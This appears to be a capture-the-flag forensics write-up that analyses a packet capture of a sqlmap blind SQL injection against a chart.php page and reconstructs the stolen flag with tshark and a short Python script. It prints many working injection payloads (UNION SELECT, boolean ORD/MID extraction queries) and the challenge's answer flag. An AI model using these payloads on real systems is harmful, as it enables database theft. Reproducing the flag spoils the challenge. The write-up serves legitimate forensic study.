RingZer0-163 - We Got Breached
Forensics
We got breached
Another pcap. This time we got a lot of traffic. It’s looks mainly like GET requests. If we look at the request we can deduct that it’s a an SQL injection.
The following commands shows the 10 first request done to the webserver
tshark -r 93cec4f4aaaa0c8a96d6cd724547d19c.pcap -Y "http.request" -T fields -e http.request.uri | head -n 10
/chart.php?id=1
/chart.php?id=1&rIXb%3D4043%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2C2%2C3%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%20..%2F..%2F..%2Fetc%2Fpasswd
/chart.php?id=1%20AND%20QUARTER%28NULL%29%20IS%20NULL
/chart.php?id=1%20AND%20USER%28%29%20LIKE%20USER%28%29
/chart.php?id=1%20AND%20ISNULL%28TIMESTAMPADD%28MINUTE%2C6680%2CNULL%29%29
/chart.php?id=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28CHAR_LENGTH%28schema_name%29%20AS%20CHAR%29%2C0x20%29%20FROM%20%28SELECT%20DISTINCT%28schema_name%29%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20LIMIT%200%2C1%29%20AS%20pxqq%29%2C1%2C1%29%29%3E51
/chart.php?id=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28CHAR_LENGTH%28schema_name%29%20AS%20CHAR%29%2C0x20%29%20FROM%20%28SELECT%20DISTINCT%28schema_name%29%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20LIMIT%200%2C1%29%20AS%20pxqq%29%2C1%2C1%29%29%3E48
/chart.php?id=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28CHAR_LENGTH%28schema_name%29%20AS%20CHAR%29%2C0x20%29%20FROM%20%28SELECT%20DISTINCT%28schema_name%29%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20LIMIT%200%2C1%29%20AS%20pxqq%29%2C1%2C1%29%29%3E49
/chart.php?id=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28CHAR_LENGTH%28schema_name%29%20AS%20CHAR%29%2C0x20%29%20FROM%20%28SELECT%20DISTINCT%28schema_name%29%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20LIMIT%200%2C1%29%20AS%20pxqq%29%2C2%2C1%29%29%3E51
/chart.php?id=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28CHAR_LENGTH%28schema_name%29%20AS%20CHAR%29%2C0x20%29%20FROM%20%28SELECT%20DISTINCT%28schema_name%29%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20LIMIT%200%2C1%29%20AS%20pxqq%29%2C2%2C1%29%29%3E54
We can also confirmed it by looking at the useragent.
tshark -r 93cec4f4aaaa0c8a96d6cd724547d19c.pcap -Y "http.request" -T fields -e http.user_agent | head -n 5
sqlmap/1.0-dev-8281fe4 (http://sqlmap.org)
sqlmap/1.0-dev-8281fe4 (http://sqlmap.org)
sqlmap/1.0-dev-8281fe4 (http://sqlmap.org)
sqlmap/1.0-dev-8281fe4 (http://sqlmap.org)
sqlmap/1.0-dev-8281fe4 (http://sqlmap.org)
We got sqlmap attacking the webserver. We can now look at how the server is responding to all those requests.
tshark -r 93cec4f4aaaa0c8a96d6cd724547d19c.pcap -Y "ip.src==10.0.1.142 && http.response.code ==200 " -T fields -e text| head -n 10 | cut -d "," -f 9,10,11,12,13,14
User id:1 was found
User id:1 was found
User id:1 AND QUARTER(NULL) IS NULL was found
User id:1 AND USER() LIKE USER() was found
User id:1 AND ISNULL(TIMESTAMPADD(MINUTE,6680,NULL)) was found
Content-encoded entity body (gzip): 171 bytes -> 192 bytes,User id:1 AND ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(schema_name) AS CHAR),0x20) FROM (SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1) AS pxqq),1,1))>51 was not found
Content-encoded entity body (gzip): 168 bytes -> 188 bytes,User id:1 AND ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(schema_name) AS CHAR),0x20) FROM (SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1) AS pxqq),1,1))>48 was found
Content-encoded entity body (gzip): 171 bytes -> 192 bytes,User id:1 AND ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(schema_name) AS CHAR),0x20) FROM (SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1) AS pxqq),1,1))>49 was not found
Content-encoded entity body (gzip): 168 bytes -> 188 bytes,User id:1 AND ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(schema_name) AS CHAR),0x20) FROM (SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1) AS pxqq),2,1))>51 was found
Content-encoded entity body (gzip): 168 bytes -> 188 bytes,User id:1 AND ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(schema_name) AS CHAR),0x20) FROM (SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1) AS pxqq),2,1))>54 was found
We got some response that say was not found and some are was found. Obviously the request that contain “was not found” are not relevant for us. We’ll extract all the requests that contain “was found”
The following command will only extract the queries that got a “was found” response
tshark -r 93cec4f4aaaa0c8a96d6cd724547d19c.pcap -Y "ip.src==10.0.1.142 && http.response.code ==200 " -T fields -e text| grep -io "User id:1 .* was found" > textQueries
Now we need to figure out what information got out.
SQLMap
All those requests are done to obtain information about the databases in the SQL service.
The requests that have a similar structure are to identify databases.
User id:1 AND ORD(MID((SELECT IFNULL(CAST(schema_name AS CHAR),0x20) FROM (SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1) AS pxqq),11,1))>64 was found
These requests are to enumerate the tables of a database
User id:1 AND ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x63686172745f6462 LIMIT 1,1),1,1))>64 was found
These are for the columns/fields in the table
User id:1 AND ORD(MID((SELECT IFNULL(CAST(column_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x666c6167 AND table_schema=0x63686172745f6462 LIMIT 0,1),3,1))>64 was found
These request gives us how many characters is the flag
User id:1 AND ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(flag) AS CHAR),0x20) FROM chart_db.flag ORDER BY flag LIMIT 0,1),1,1))>48 was found
User id:1 AND ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(flag) AS CHAR),0x20) FROM chart_db.flag ORDER BY flag LIMIT 0,1),1,1))>49 was found
User id:1 AND ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(flag) AS CHAR),0x20) FROM chart_db.flag ORDER BY flag LIMIT 0,1),1,1))>50 was found
User id:1 AND ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(flag) AS CHAR),0x20) FROM chart_db.flag ORDER BY flag LIMIT 0,1),2,1))>51 was found
User id:1 AND ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(flag) AS CHAR),0x20) FROM chart_db.flag ORDER BY flag LIMIT 0,1),2,1))>54 was found
We know that the first character of the length of the flag is >50 so that makes it 51. So basically the command ORD(X) = 51, ORD command returns the hex values of whatever the variable is. So using that we can deduct that X is 3.
The same goes with the second number. This time it’s >54. So that would make it the value 55 in hex, which is 7.
So we got the length of the flag, first character is 3 and the second is 7. 37 characters.
And the last requests are the one finding the flag.
User id:1 AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM chart_db.flag ORDER BY flag LIMIT 0,1),8,1))>64 was found
The only thing left to do is to get all the values for each of the 37 characters. One thing to notice is that some requests are done more than once for the same position. We can see it happening here.
User id:1 AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM chart_db.flag ORDER BY flag LIMIT 0,1),5,1))>32 was found
User id:1 AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM chart_db.flag ORDER BY flag LIMIT 0,1),9,1))>48 was found
User id:1 AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM chart_db.flag ORDER BY flag LIMIT 0,1),5,1))>40 was found
User id:1 AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM chart_db.flag ORDER BY flag LIMIT 0,1),10,1))>72 was found
User id:1 AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM chart_db.flag ORDER BY flag LIMIT 0,1),2,1))>72 was found
User id:1 AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM chart_db.flag ORDER BY flag LIMIT 0,1),6,1))>72 was found
User id:1 AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM chart_db.flag ORDER BY flag LIMIT 0,1),7,1))>72 was found
User id:1 AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM chart_db.flag ORDER BY flag LIMIT 0,1),1,1))>68 was found
User id:1 AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM chart_db.flag ORDER BY flag LIMIT 0,1),5,1))>44 was found
The position 5 has 3 queries. The last one resulting that the value is >44, meaning the fifth character of the flag is “-”
And now a python script to do that for us because we’re to lazy to do it manually. Once again not the most clean way to do it but it gives us our flag.
textQueries = open('textQueries')
flag = {}
convertedFlag = ""
# Read queries and store the first position character with the corresponding
# value.
for i in (textQueries.readlines()):
try:
queriesSplit= i.split(',')
character= i.split('>')
flag [queriesSplit[3][:2]] = chr(int(character[1][:3])+1)
except:
pass
# Read all the values from the dictionary and put them in the variable
# convertedFlag
for i in range(1,38):
convertedFlag += flag[str(i)]
print convertedFlag
textQueries.close()
The result:
FLAG-NJf3JS719aKHwa1zk50GQa6kJ8m1K2kR
The flag is FLAG-NJf3JS719aKHwa1zk50GQa6kJ8m1K2kR